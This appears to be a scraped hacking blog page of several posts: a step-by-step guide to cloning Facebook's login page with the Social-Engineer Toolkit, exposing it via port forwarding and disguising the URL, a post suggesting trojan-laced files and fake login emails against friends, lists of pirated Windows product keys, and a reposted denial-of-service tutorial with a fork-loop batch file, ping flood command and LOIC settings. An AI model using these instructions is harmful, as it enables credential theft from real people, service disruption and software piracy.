Credential Harvestor : Port Forwarding : Phishing Facebook

In the previous tutorial, we created a fake login page for facebook using Credential harevester. This however, would work only over Local Area network. Today we will enable port forwarding on our router and use our external IP address to create a phishing page that will work over the internet. The picture gives a good idea what port forwarding does. In the previous case, out page was only visible to computers on the right side of the firewall, i.e. those within the local network. The firewall handles traffic which comes through public address and decides whether to forward it to the internal network or block it. The port forwarding feature of the router tells it to allow traffic through a certain port.

Pre-requisites

1. Must know how to use SET and Credential Harvester over local area network. If not read the tutorial on Credential Harvester (same as the link above).
2. Kali Linux or backtrack 5 (other Linux distributions will work if you can install SET and all the dependencies)
3. Patience - Finding your router password might be hard sometimes.
4. Some basic knowledge (read a few old posts on this blog which I had written assuming that newbies were the ones reading. By now, after following dozens of my post, the readership has grown smart and doesn't need to be spoon fed.

Find you public IP

Go to google and search what is my IP. Under normal circumstances you wouldn't even have to click on any of the results, as google will find your IP for you. If not, then one of the top results sure will.

I removed the address. But it will show up in your case.

Finding your router IP and logging in

Most of the times the IP is 192.168.1.1 or a slight variation, but do an ifconfig to find out. Now enter the IP on your browser, and you'll see a login prompt. Here is something that usually works-

• Username : admin
• Password : password, admin or in some cases, leave the password field blank

If none of the above combos work, try this http://www.routerpasswords.com/ or http://lmgtfy.com/?q=default+router+password

This is the step where I can't help much. You need to see what your router is and then find out the login details. Most of the times it is left to default. You can also do a wordlist attack with common router login credentials (help yourself, I am not going to write a thesis on this, because many people have already done that, and you need to learn some google-fu). Now after getting access to your router, come back to Se-toolkit

Social Engineering Toolkit : Credential harvestor

Here is the set of commands that you will need. If you need the details check the previous post.

se-toolkit

1 (enter)

2 (enter)

3 (enter)

2 (enter)

Enter your public IP (first step remember)

Enter the site you want to clone (The method works equally well with Facebook, Gmail, Twitter or whatever. None of the steps will be different at all for any website).

Now just let the terminal be and come back to your router.

The routers are all different : Port Forwarding

Now here is another tough part of this tutorial. While the thing that needs to be done is same for all routers, the procedure is not. You see, the user-router interaction interface is different for all routers. The thing you have to know is-

This is what my router looks like

• Terms to look for - NAT, port forwarding, virtual servers (the router can refer to port forwarding by using any of these terms). If you find something like this, click on it. Also, many a times the routers interface is quite complicated and advanced, with seperate fields for WAN, LAN, access control, etc. You'll have to take a look around and see where you can find anything related to port forwarding. When you do, you can move to the step below.
• Stuff to enter-

1. Application name - Most routers ask you to give a name to the port forwarding setup. Many also have a drop down menu containing most common reasons why people perform port forwarding (the drop down menu mostly has multiplayer games and stuff, don't expect SET there). This field is insignificant, enter whatever you want to. Maybe SET.
2. Port / First Port / Last Port - Some routers just ask you which port to forward, some ask you to enter a range. Nevertheless, you will enter either 80 as the only port, or 80 to 80 as the range. Any field which asks for anything related to port, and 80 is what you'll enter.
3. Protocol (or some other name) - It will have options TCP, UDP, both (both may be replaced by all or TCP and UDP or something). Choose both or whatever corresponds to both in your router.
4. IP address (sometimes not) - Here you enter your local IP. 192.168.1.xxx or something. Not your public IP.

Save and you are good to go. If you have any field that you're not sure about, mention it in the comments. It will help you as well as other users who have the same difficulty. And here's how I set it up, look at the screenshot and look for relevant fields in your router.

Go ahead

Now open any browser and enter you IP. You will see your fake Facebook login page there. Also, try and enter something in the fields. It will show up on the Se-toolkit terminal. The screenshot on the right shows what it looks like on my browser (Somehow se-toolkit decided to clone the Hindi version of the website. I don't have any memory of ever using Facebook in Hindi though).

After I entered data in the fields and pressing the login button, the following showed up on my se-toolkit window.

Make it look real-

Now there are very few who will enter their login details to a website whose name is not even a name, but a set of numbers seperated by dots. You can use bit.ly or goo.gl to for that. However, they don't mask the url, and as soon as the user reaches the destination, he will see the original URL. I would have recommended dot tk, but they don't support IP addresses. In this case, you can use no-ip, which will solve a lot of problems-

1. You'll get a static IP
2. You'll get a comparitively less suspicious domain name
3. You will be safer. This is because sharing your public IP address on the internet isn't a good idea. And with a port open, people (by people I mean professional hacker who know what they are doing) might break into your system. (If you noticed I never mentioned my public IP anywhere in the post, nor posted any screenshot with it. All the visitors to my site are hackers, and some are better than me, so I'm not inviting trouble here).

Alternatively, you can take a look here at http://www.pc-help.org/obscure.htm. This page deals with the art of modifying your URL to fool others. In our case, we will use it to make our IP address look like a  legitimate  website. The only problem is some of the stuff is not browser independent and would work only on a few browsers (each browser deals with a URL differently).

Read full post »

Social Engineering Toolkit - Kali : Credential Harvestor : Hack Facebook

Hacking Facebook

In the previous post I've discussed how not to hack Facebook. Here we will discuss how to hack Facebook. This tutorial is meant for enhancing you networking skills, as well as to develop understanding of how fake web pages are created, so that you can protect yourself from such attacks. Don't use this information to hack someone's account, or you'll run the risk of getting into legal troubles. If you haven't yet read the previous post, you should. It might not be very enlightening in terms of technical details, but it quite enjoyable and will provide you with a background of what we are looking at.

Social Engineering Toolkit

Humans are the weakest link in any security system ~Shashwat (That'll be me)

If you have read the previous post, then you know what I'm talking about. Social engineering toolkit does not exploit vulnerability in the mechanism of any service. It exploits the weakness in the human element of security. Some official words from the official guys before we move on to the actual hacking

The Social-Engineer Toolkit (SET) was created and written by the founder of TrustedSec. It is an open-source Python-driven tool aimed at penetration testing around Social-Engineering. SET has been presented at large-scale conferences including Blackhat, DerbyCon, Defcon, and ShmooCon. With over two million downloads, SET is the standard for social-engineering penetration tests and supported heavily within the security community.

Kali Linux

I don't feel the need to mention it, but I'll still do it. You need Kali Linux to proceed with this tutorial. Check out the top of the page and see the "Kali Linux complete" tutorial. Better yet, I'll link it here- Kali Linux : What it is and how to install

Se-toolkit

Start Kali Linux. In a console/terminal type se-toolkit.

Something like this will show up

root@kali:~# se-toolkit
[-] New set_config.py file generated on: 2014-05-26 08:26:33.526119
[-] Verifying configuration update...
[*] Update verified, config timestamp is: 2014-05-26 08:26:33.526119
[*] SET is using the new config, no need to restart

                  _______________________________
                 /   _____/\_   _____/\__    ___/
                 \_____  \  |    __)_   |    |
                 /        \ |        \  |    |
                /_______  //_______  /  |____|
                        \/         \/          
  [---]        The Social-Engineer Toolkit (SET)         [---]      
  [---]        Created by: David Kennedy (ReL1K)         [---]
  [---]                 Version: 4.3.9                   [---]
  [---]              Codename: 'Turbulence'              [---]
  [---]         Follow us on Twitter: @trustedsec        [---]
  [---]         Follow me on Twitter: @dave_rel1k        [---]
  [---]       Homepage: https://www.trustedsec.com       [---]
     Welcome to the Social-Engineer Toolkit (SET). The one
      stop shop for all of your social-engineering needs.
 
      Join us on irc.freenode.net in channel #setoolkit
  The Social-Engineer Toolkit is a product of TrustedSec.
           Visit: https://www.trustedsec.com
 Select from the menu:
   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About
  99) Exit the Social-Engineer Toolkit
set> 

Now type the following and press enter.
1 [enter] 2 [enter] 3 [enter]

Explanation

• 1 selects social engineering attacks. Obvious choice if you read the other options from 1 to 9 (and 99 for exit)
• The 2 selects Website Attack Vectors. Not that obvious.  The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.
• Then, the 3 selects Credential Harvestor.  The Credential Harvester method will utilize web cloning of a web-site that has a username and password field and harvest all the information posted to the website.

Now you'll be seeing something like this-

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.
 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.
 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
   1) Web Templates
   2) Site Cloner
   3) Custom Import
  99) Return to Webattack Menu

Type 2 to select site cloner.

Find your IP

On a new terminal type ifconfig. This will give you your ipv4 address, which is what you are looking for

Back to se-toolkit

 Now it'll ask you to specify the IP to which the data is supposed to be sent to. That'll be your IP address. Since this is your internal IP address (i.e. local IP), the fake facebook page will work only for computers connected with your LAN.

Now it'll ask for the page to be cloned. Enter https://www.facebook.com/.

set:webattack>2
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.154.133
[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com
set:webattack> Enter the url to clone:https://www.facebook.com/

Now in your browser on Kali Linux, enter your IP. It will display facebook login page. Enter any info and press login. You will get the information in se-toolkit. If you are using VMWare or virtualbox, then you can try and enter the IP on the browsers there. It will work.

Live demonstration

To make sure that the demonstration is not just a repetition of what you already know, I have decided to clone the login page of facebook, instead of homepage. It will be a tad bit different. Here is a screenshot of what I did.

The IP address is my internal address from ifconfig, which comes out to be 192.168.154.133. The cloned page is https://www.facebook.com/login.php. Now we will try to see if this credential harvestor works.

On the Kali Linux Machine itself

Entering the IP in browser shows you the fake login page. Also, se-toolkit registers the visit and says 192.168.154.133 - - [27/May/2014 02:32:32] "GET / HTTP/1.1" 200 -

Now if we enter something in the field, it also shows up on se-toolkit. I entered 'hackingwithkalilinux' in username field and 'password' in password field. This is what se-toolkit shows-

POSSIBLE USERNAME FIELD FOUND: email=hackingwithkalilinux
POSSIBLE PASSWORD FIELD FOUND: pass=password

Also note that se-toolkit might keeping dumping more stuff in the console, most of which is not important for the time being.

On Windows 8 machine (host)

Now I'm running Kali on a virtual machine. Windows 8 is the host machine, and we might want to check if it works on Windows 8. Also, we would also like to see if modern browsers are able to observe anything wrong with the page, and if the firewall stops the data flow.

I entered windows8host and password2 and pressed the login button. This is what I got. Also, as I was logged in to Facebook with my personal account, the fake page redirected me to facebook.

POSSIBLE USERNAME FIELD FOUND: email=windows8host
POSSIBLE PASSWORD FIELD FOUND: pass=password2

Conclusion : This method pretty much works well over LAN.

Make it work over internet

To make the technique work over internet, you will need to use your public IP instead of private. Search google for what is my IP to find you public IP. Then use it. You can use tinyurl or something to make the url appear legitimate. Also, port forwarding might need to be enabled, as your router might block traffic on port 80. Firewall can also cause troubles. While this tutorial was nothing more than - se-toolkit 1 2 3 [your IP] [facebook.com], the next post on getting your credential harvestor on the internet will make the tutorial complete and useful in practical sense. Next tutorial will help you make your fake login page accessible over the internet. [Coming Soon] There you go -  http://www.kalitutorials.net/2014/05/credential-harvestor-port-forwarding.html

Read full post »

Hack Facebook Account : Stuff You Should Know

Hack Facebook?

Okay, so you got lured into the idea of hacking a Facebook account? I won't ask why. Everyone has their reasons. If you came here to learn how to hack a Facebook account, feel free to leave, because the title read - Hack Facebook Account : Stuff You Should Know - and not - How to hack a facebook account (well actually don't leave, I have something for you later in this tutorial, something on actually hacking Facebook) .That being said, there are a lot of real hacking tutorials around the website you might want to read. However, if you are here on a pure curiosity basis, then read on, and you will be a smarter person by the end of this post than you were when you began reading it.

Why not to think about hacking facebook

Search google images for facebook hack and you already
 see so many misleading programs. I mean
just enter user ID and they'll provide
 you with username and password.
It's surprising how many people actually expect it to work.

First, because you can't. Well, actually you can, but the high improbability of success makes it stand next toyou can't hack facebook. If you think typing 'hack facebook account' on google, clicking on the first result, and entering the target's email address will give you the password of his/her Facebook account, then you are not on the general level of stupidity, you have achieved an appreciatively high one. Come on, if it were so easy to hack a FB account no one would be using FB to start with. There is so much on our Facebook account that we can't even imagine the consequences if it were to get into the hands of a seasoned hacker, leave alone a novice (not even a novice for that matter) who just searched google for hacking facebook.
impossible, so much so, that I won't be exaggerating in saying that it can't be hacked. As far as the picture on the left is concerned, its one of the many tools offered on the internet, all of which have the following in common-

1. All have very easy user interface. You just have to enter the user id, and click hack.
2. All have download links which will take you to a survey, or some annoying ads.
3. All are 100% not working.

What does 'hacking Facebook' actually mean?

What is the actual meaning of hacking Facebook. Most of us are misguided by the term hacking in general. Hacking incorporates the attainment of someone's password, but hacking is so much more. Account passwords to hacking are just like coins are to the subway surfer game. You get coins along the way, your progress is partially judged on the basis of coins acquired, but the idea is to find your way through the obstacles and keep moving ahead. In general sense, when you use the term hacking Facebook, you mean to understand the functioning of the website, find out about its database management systems, scripts employed, use of cookies, language on which it is built on, etc. Then you find vulnerabilities in the working of the websites, and code exploits to break through the obstacles and gain privileges into their systems, using suitable payloads. The next step would be privilege escalation. For example, you found out a vulnerability that allows you to look into the database and see the email address and cellphone number of any user. You would want to escalate your privileges and also gain access to their passwords. The last step may be setting up a backdoor, for quicker access next time. Another step might be to clear your traces so that you don't get caught. And trust me, you can't do this. I mean you wouldn't be reading a blog on beginner level hacking on Kali Linux if you had so far with web pentesting. So, the conclusion is that hacking Facebook is a real big deal, not everyone's piece of cake (I admit even I'm nowhere close to the level of expertise where I would be playing with databases on Facebook servers). And the Facebook passwords are just a reward that you get after hacking Facebook. But are we missing something? There can't be only one way to get someone's facebook password. I mean we don't want administrator access to all the Facebook databases, just a password of one of the millions of users. There must be a hole somewhere. That kid next door claims he can get Facebook password of anyone, and he's good, but not 'code a exploit for Facebook' good, no, not that good. This is where social engineering steps in.

Social Engineering

With time, the level of security in all fields of life keeps getting stronger. The element of encryption has reached almost unbeatable stage. With 256 bit encryption, cracking will take practically forever. The element of laziness is in our favor (not everyone upgrades to latest security measures), and so is the element of cost-effectiveness and carelessness (you don't picture a nerd kid with glasses next door when you are deciding between WEP and WPA for your password). But nevertheless, things are changing, but one thing remains constant. Humans. Humans in general are stupid. Not really, a better word would be ignorant, not aware of how stuff works. Most Facebook users have no idea about what all Facebook is doing for their accounts security, and how easily their carelessness can ruin each and every one of Facebook's effort to protect their private information.

Humans are the weakest link in any security system

From leaving one's account logged in to not paying attention to someone who's peeping from behind, watching them type their passwords, humans can be really ignorant. But we need not rely on this level of ignorance for passwords (I stopped using the word stupid because it'll definitely annoy and offend people. I mean not good at computers doesn't really mean stupid. They have other stuff to do than protect their accounts). We can very well get the password of an average internet user who is not very paranoid and cynical about stuff. We can't hack Facebook and gain access to their servers, but your friends machine isn't that well guarded. A virus binded with a game he asked you to fetch in a USB drive? An average person won't think that you might have planted a trojan or a keylogger in the USB drive when he takes a file from you. Or maybe send him a link which will silently install some malware in his computer. Many people don't think twice before clicking on a link (some people do, though). Or maybe make a fake login page and send him a professional looking email, directing him to a website where he ends up receiving a login page somehow (you have to make it look real and genuine, backed up by a nice story, that you can expect the target to buy). There are many more methods. As far as the promise for something later in this tutorial about actual Facebook hacking, I have provided you with a small trailer about what you can do, in the next few tutorials we will discuss stuff in detail. The first tutorial is here.

Credential Harvester To Hack Facebook (Phishing)

I don't usually put this disclaimer, but as it was a tutorial that could potentially lead a lot of people on the wrong track (away from the quest on knowledge and towards the quest for illegal hacking and account passwords), here is a warning. Everything on this site is for educational purposes and I won't be responsible for anything you do with this information. If you do something illegal, the jail time would be yours to serve, not mine. So be careful where you are headed.

Read full post »

Windows 8 Pro 9200 Product Keys/Activation Keys

Here I will Give You Some Of The Keys For Windows 8 . All the keys arenot 100% working this may work for some Computer.Please let me know if it worked for you or not by commenting below.If this key didn't Worked For You Please Contact Me For More Keys.



Windows 8 Cracked Keys(Activation/Product Keys)

HB39N-V9K6F-P436V-KWBTC-Q3R9V
6PN82-R4BBH-XX8K2-DCK84-VMFDH
QGR4N-78PMD-KCRQ7-83BXT-YG667
BTNJ7-FFMBR-FF9BH-7QMJ9-H49T7
G9XNM-YYY38-8R9HM-YFPTX-T8XT7
CR8NG-63KCR-X2MPD-G7M7P-GQ4DH
NGMMV-FVDXB-QP6XF-9FTRT-P7F9V
7TWWK-WNB2W-VRVPV-XG6RV-MBFDH
HN42W-QF3D6-2KM6W-C79XK-JW8XV
RFQ3N-4Y4XR-JY9PV-883PR-BY2KV
VC972-N7YXW-G9WQY-VBDP4-GXT67
QDCTN-G878G-WBHHQ-GW7XP-XTJXV
NBCCB-JJJDX-PKBKJ-KQX8X-WTV3H
2747P-9WNWW-MD6JF-HRC36-HFPKV
2Y8NR-PPTC4-XYX8G-4KQGC-6JCKV
38N79-8B9GY-J4JYJ-D29V3-YBFDH
3FCND-JTWFM-24VQ8-QXTMB-TXT67
GX9N8-4H2FH-D987T-BQ9GK-XKT67
P8MCC-G7NDR-D27YY-Q83CC-8W8XV
KKPMN-469HY-H6V43-T8VX2-8W8XV
T3NJK-3P683-2T7BJ-2X27F-8B2KV
HB39N-V9K6F-P436V-KWBTC-Q3R9V
6PN82-R4BBH-XX8K2-DCK84-VMFDH
QGR4N-78PMD-KCRQ7-83BXT-YG667
BTNJ7-FFMBR-FF9BH-7QMJ9-H49T7
G9XNM-YYY38-8R9HM-YFPTX-T8XT7
CR8NG-63KCR-X2MPD-G7M7P-GQ4DH
NGMMV-FVDXB-QP6XF-9FTRT-P7F9V
7TWWK-WNB2W-VRVPV-XG6RV-MBFDH
HN42W-QF3D6-2KM6W-C79XK-JW8XV
RFQ3N-4Y4XR-JY9PV-883PR-BY2KV
VC972-N7YXW-G9WQY-VBDP4-GXT67
QDCTN-G878G-WBHHQ-GW7XP-XTJXV
NBCCB-JJJDX-PKBKJ-KQX8X-WTV3H
2747P-9WNWW-MD6JF-HRC36-HFPKV
2Y8NR-PPTC4-XYX8G-4KQGC-6JCKV
38N79-8B9GY-J4JYJ-D29V3-YBFDH
3FCND-JTWFM-24VQ8-QXTMB-TXT67
GX9N8-4H2FH-D987T-BQ9GK-XKT67
P8MCC-G7NDR-D27YY-Q83CC-8W8XV
KKPMN-469HY-H6V43-T8VX2-8W8XV
T3NJK-3P683-2T7BJ-2X27F-8B2KV

SOME MORE KEYS

TK8TP-9JN6P-7X7WW-RFFTV-B7QPF
TK8TP-9JN6P-7X7WW-RFFTV-B7QPF
DNJXJ-7XBW8-2378T-X22TX-BKG7J
MBFBV-W3DP2-2MVKN-PJCQD-KKTF7 
6RH4V-HNTWC-JQKG8-RFR3R-36498
4Y8N3-H7MMW-C76VJ-YD3XV-MBDKV
28VNV-HF42G-K2WM9-JXRJQ-2WBQW

Read full post »

Denial Of Service Attack : Lesson For Life

Introduction

(This post has been sourced from a well known tutorial from Hackforums.net)
I have already written 2 posts on Denial of Service attack. The first one gives an insight to the working of Denial of service by bringing in practical examples (bus stop scenario and online multiplayer game scenario). The second one tells us about the various Denial of Service attack. I'm linking both the articles here for you to read if you want to-

Denial Of Service Attacks : Explained for Beginners and Dummies

Denial Of Service Methods : ICMP, SYN, teardrop, botnets

The thing is, while these two are pretty good reads (first one is a must read for everyone), I read something on HackForums.net which completely captured my attention. This tutorial was found in the premium tutorials section, and looked like this-

I asked coolmagicdude2 if I could post his tutorial on blog, as it would help a lot of users. He agreed. So this tutorial has not been written by me but a well known hacker from hack forums, who calls himself Druidtton of Darksunlight. I loved the tutorial and hope you'd enjoy it too. The tutorial is in first person and has many references to his personal experiences. I haven't replaced the first person to third (I to he, my to his). I have also removed all links, and replaced some.

What is "DDoS"?

Denial of Service attacks(or Distributed Denial of Service attacks[DDoS]) are a form of organized attacks with the goal of taking down a server by overloading it. Often by sending useless information(packets) to a server in massive amounts.

In-fact about a year ago I found one of my (his) websites was accidentally DoS-ing darksunlight.com(I use darksunlight as my webhost) because my PHP script made an infinite loop that sent the same information over and over and over into darksunlight's SQL databases. This one page took this EXTREMELY powerful server down twice in less than a minute. That site has since been deleted.
That story demonstrates that it does not take more than a simple "error" in your code to overload a server.

Keep in mind that altough spreading knowledge is my main goal, performing DDoS attacks is indeed a federal crime in the US.
It is also an international offence and will be punished according to the local laws of the individual's country.

But enough talk. I will now show you a quick example of a DoS attack of sorts you can do on your local computer.

Example Of DOS attack

Keep in mind that this is NOT a real DoS attack, but rather an example to visualize how a DoS attack works.

We will take down YOUR computer.
Step 1
Open up notepad, mousepad, or your favored equivalent.
Step 2
Type in this simple batch command
Code:
:a
start
goto a
Step 3
Save as "dossample.bat" making sure you select "All files" from the "File Type" dialog.
Step 4
Run that sucker, but save your work first, as this will crash even the best computers in a matter of minutes.

What did you learn from this?

Observe how the file rapidly replicates itself, opening a new CMD right after it opens another.
An infinite loop has been created that has filled the RAM with useless and massive amounts of CMDs(or Terminals for you Unix folk)

DDoS attacks work much the same way, except instead of replicating an infinite number of CMDs, they send information(packets) to the server over and over and over again until the server crashes.

What information you may ask?

Anything. Your login name, your 'online' status, a new comment, the number of views on a video, your new high score. Absolutely any information that could be resent a massive amount of times to the same server.

Next we will be discussing the simplest form of DDoS.

DDoS by Ping Flood

Please note that I will be pinging my Localhost. You should too.

Perhaps one of the simplest ways to DoS is by using the 'ping' command built into most operating systems, including all windows and Linux distributions.
Step 1
Start up your server. Mine is apache, but that is beside the point, the server type does not matter. If it has an IP address, it can be pinged. (He paced up really unexpectedly here. You might want to skip this part if you haven't created any local server using apache or any other program.)
Step 2
Type in the ping command
Code:
ping -t -a -l 65500 localhost
Step 3
Press enter and watch it ping the localhost over and over until[/b]
your server crashes, or you get tired of waiting for it to crash.
Since most modern servers can take the stress of the ping flood, you will need to get all your friends to help you ping to bring your server down. Or even slow it down.

Command Explained

ping - tells the computer to ping a server
-t - It will continue to ping the server until the command is closed, or stopped.
-a - Resolves the adress to host names.
-l - Size.

By default the ping will send 32bytes of data to the server, so you must change this to a bigger number. The maximum is 65,500bytes, so that is what we used.

If you send a server any number higher than 65,500bytes it will instantly crash. This is called "Ping of Death".
Like any other thing with the suffix "of Death" it is very rare, and hard to accomplish indeed.
In order to learn more about the Ping of Death, read my huge response to this very thread, here! (I have copied his response to the end of the tutorial)

DDoS by Reloading

Something as simple as reloading a page can take down a server if done enough times.
Step 1
Make a page that lets you submit forms. Method='GET' is better than method='POST' for this, but both will work.
(If you do not understand step 1, just find a page that lets you submit information, like a new comment or upload a picture)
Step 2
Fill out the forms and submit
Step 3
Reload the page
If the page uses the POST method your browser will display a dialog asking if you are sure you want to resend the information, or something to that effect. Simply click "Continue" or "OK".(see now why GET is better?)
Step 4
Keep reloading until server is down.
Their are many add ons and tools that allow you to auto-reload a page. It is a matter of googleing for them. They are widely available and free.

I have just created a program that allows you to Auto-refresh a page using IE. If you are interested please download from:
Host: Darksunlight.com | Size: 9kb | Format: .zip ultra compressed | Platform: Windows

Use the browser extensions instead. Google for auto reload addons for your browser.

This method is very primitive as you can see, but it is probably the best way to DDoS.
In order to learn more about DDoS by reload, read my huge response to this very thread, here!
(I have copied his response to the end of the post)

Low-Orbit Ion Cannon

LOIC (Low Orbit Ion Cannon) is an app, written in C# and developed by praetox, that was used by Anonymous during Project Chanology. It attempts to DoS the target site by using all its bandwidth, sending TCP, UDP, or HTTP requests to the server until it crashes.

(He has stressed the fact enough, but let me remind you again, this is a punishable offense. Use LOIC only on your localhost 127.0.0.1. Don't use it on any online server, they cops will come to get you. In contrast to all other tools on this blog, this one works on Windows.)

Download:
LOIC | Host: SourceForge
Step 1
Download and extract LOIC
Step 2
Open LOIC.exe and fill out the required information.

Instructions for filling out:
IP or URL = IP or URL that you wish to DoS
TCP / UDP message = information being sent, just write something random. Or leave it as default.
Port = Server's port
Method = Server's Method, leave as TCP if unknown
If you are gonna try to take down a website then use HTTP
Speed = set to "<= faster"
Threads = How many users it should simulate, the higher the number the faster it will crash. Set to 10,000. Note that this might make your computer lag, if so, set to a lower amount.
Step 3
Click on "IMMA CHARGIN MAH LAZER"
This starts your the program.
Warning: This tool might not seem like much, but many people of all ages have been arrested and convicted for knowingly using this tool. Remember DoS and DDoS are federal crimes, however insignificant it may seem. Use at your own discretion.

Conclusion

Now you know what a DDoS attack is and you can work to better protect your self.

Their are still many other ways to attack a server, but these are the basics of DoS.
Protect your servers xD

Like any web developer I hope you will use this information for the good.
Sadly i know that their are those among us that are, even now as we read this, plotting how to do harm with this information.
To those, I flip the bird.

Response to Reloading method and ping of death

Question : 

This is a really good theoretical tutorial. Some questions I have though are number 1, how do you make the ping send a packet larger than 65000? And isn't that a really old exploit that only works <=win95?

I also really have doubts about the reloading method. Is it just a theoretical thing that if a site is small enough it could work, or is there actually a practical possibility of it? Are there any examples?

Response:

Both very good questions.

1. The ping of death, or a packet larger than 65,000 is, in fact, a really old exploit that most servers and operating systems have patched. But not all.

It is still quite possible for the Ping of death to work, often with mixed results.

Some of the vulnerable operating systems are: 

Solaris(x86 version) 2.5 & 2.5.1a

MkLinux

Windows NT(mixed results, after microsoft released patch)

Linux, below version 2.0.23

Windows 95

Novell Netware 3.X.X

MacOS <= 7.X.X

And many others...

For a full list of vulnerable operating systems, and their response to a ping of death attack, visit this page. 

2. The reloading method is not only practically plausible, but it happens every day, and most often in accident.

Let me explain, go to... let's say, the front page of hackforums, and hit CTRL+S, this will save the webpage into your hard drive. It will most likely be located under your downloads folder, check the properties for that web document, and all attached files.

The size of the front page of hackforums.net, including all elements displayed(images, CSS files, separate JS file, ect...) is around 500KB.

This might not seem like much, that's much less than the average size of a picture taken with any recent digital camera, but consider this:

As I type this, there are currently around 729 members actively surfing the website. Each of them is downloading around 500KB of data from this server, simple arithmetic tells us that's a total of 364,500KB(roughly 356MB of data, or about the size of a standard definition feature length video-film) of data. 

356MB of data that was transfered from the hackforums.net server, into 729 separate connections.

Still doesn't sound like a lot, does it?

Hackforums.net gets an average of 5 page views, per visitor. That means that each of those 729 people that are online right now, will visit around 5 pages before they leave the site.

Supposing that every page in hackforums.net has a similar size to the front page, of ~500KB(in fact most pages are somewhat larger than that), and knowing that there is a total of 729 people currently online, and supposing that each of them will visit an averge of ~5 pages, then we can create a simple formula to calculate the server stress at this point in time.

X = Average size of a page(~>=500kb)

Y = Visitors online(~729 ATM)

Z = Average of ~5 pages viewed, per visitor

D = Data transfer at any given point

D = (X*Y)*Z

This gives us a total of 1,822,500KB or about 1.73GB(roughly the size of an HD 720p feature length video-film).

That's 1.73GB of data that has just been transferred from hackforums.net to 729 separate connections. 

Still doesn't sound like a lot, right? Well, this has been the total transfer for the past ~5 minutes or so. 

In reality hackforums employs many techniques to minimize data transfers, and so does your browser. Things like an indexed cache or offline stored data can minimize the number of things that have to be downloaded from the web server every time you load(or re-load) a page.

I calculated a total daily download transfer of around 1,133GB per day(roughly 285 FullHD 1080p feature length video-films) for hackforums.net, but you can be sure that it's much larger than that. 

Even then we're only accounting for data transferred as downloads.

We're not even touching the immense amount of uploads, connection request, resolves, pings, local data transfers, SQL INSERTs/UPDATEs/DELETEs, and a slew of other processes that occur every time you load a page.

Let me give you a quick example, in case my explanation wasn't enough.

On October, 25th, 2011 the popular web adventure/comic "Homestuck" released the final page of their 5th 'act' or volume.

The last page was released in the form of a, VERY LONG and VERY AWESOME, flash animation that was around 250KB in size.

(You are welcome to experience it here.)

Said flash animation was hosted on the capacious flash portal, newgrounds.com

Keep in mind that newgrounds.com is a website that experiences millions of daily visits, and they serve flash files that range from a couple KBs to >~100MBs without even breaking a sweat.

Within less than an hour of the release, both newgrounds.com AND the homepage of the homestuck webcomic had been taken down by their own fanbase. 

Everyone was so exited to finally see the last page, that they all rushed in to see the animation at once, and thus crashed both websites with ease.

Both websites kept crashing multiple times during the day, until all the fans had seen it, and had thus stopped loading and reloading that page.

So to recap, not only is DoS by page reload plausible, but it is, without a doubt, the most effective method of DDoS.

_________________________________________________

So this is all there was to the tutorial. I hoped you liked it. If you have any queries feel free to ask.

Read full post »

Windows 7 Professional Serial Keys

Hy Everyone Today I Will Give You Some Of The Serial Keys Of Windows 7 Professional.This Keys Doesnot Work For Every Computer.So If You Get Any Problem Contact Me I Will Provide You The Other Keys.

WINDOWS 7 PROFESSIONAL SERIAL KEYS

New Keys :- https://www.youtube.com/watch?v=cC5uiaRjOHM&list=TLFRBh0LkgZok

3YHKG-DVQ27-RYRBX-JMPVM-WG38T (E OEM)

BKFRB-RTCT3-9HW44-FX3X8-M48M6 (N OEM)

8X2Y6-2R9QV-MH2FY-8MJ3B-4CQB8 (X64)

6RQ9V-6GCG4-8WV2H-966GF-DQ4DW (Retail)

SOME OTHER KEYS

7|Professional|Acer|YKHFT-KW986-GK4PY-FDWYH-7TP9F  

  7|Professional|Alienware|4CFBX-7HQ6R-3JYWF-72GXP-4MV6W  

  7|Professional|Asus|2WCJK-R8B4Y-CWRF2-TRJKB-PV9HW   

 7|Professional|Dealin|6BJ27-DVBFF-VKQC8-7JPQP-TJKYY  

  7|Professional|Dell|32KD2-K9CTF-M3DJT-4J3WC-733WD   

 7|Professional|Fujitsu|PT9YK-BC2J9-WWYF9-R9DCR-QB9CK  

  7|Professional|HCL|2QTV2-3CMPP-FQBYK-GRD62-D7XMW   

 7|Professional|HP|74T2M-DKDBC-788W3-H689G-6P6GT   

 7|Professional|Kraftway|32HPJ-4XRDR-424C8-DYQM9-GM768    

7|Professional|Lenovo|237XB-GDJ7B-MV8MH-98QJM-24367   

 7|Professional|Mecer|2WGY7-J3JQT-78CF9-J6DHQ-DJTQW   

 7|Professional|MSI|2W3CX-YD4YJ-DF9B2-V27M6-77GMF  

  7|Professional|Samsung|GMJQF-JC7VC-76HMH-M4RKY-V4HX6    

7|Professional|Sony|H9M26-6BXJP-XXFCY-7BR4V-24X8J 

Read full post »

How To Convert Webpage Into PDF File ?

In this post i will teach a simple trick or browser feature that let you convert any web page into PSD file format, which might help you to read your favourite articles offline. 

How To Save Web Page To PDF File ?

1. Open the Google Chrome Browser on your PC or MAC 

2. Then go to the web page that you want to convert as a PDF. 

3. Now press Ctrl+P on Windows PC or Command+P if you are on a Mac to Open the the Print dialog on Chrome Browser. 

4. Now Change the destination to “Save As PDF” and hit the save button.

5. The current web page will instantly be downloaded as a PDF document. 

Read full post »

How To Open Banned Website With Proxy Sites ?

There are many sites which are blocked by government because of breaking laws of their country. The user downloads many softwares to open these sites but end up being infected by  malware, virus. Today i will share a trick with you guys which can help you easily open these banned sites without downloading anything. As you know that there are many online proxies but everyone need a proxy server which is faster and trusted. Here in this post I am revealing an online proxy and a tutorial to open banned sites with the help of these online proxies which is trusted and fast. Just follow my step to open banned sites.

How To Open Banned Site ?

1. Open www.incloak.com in your browser.

2. After that enter the URL of the site which you want to open like below.

3. Now You Can Enjoy Your Site.

Read full post »

How To Make Nameless Folders In Windows ?

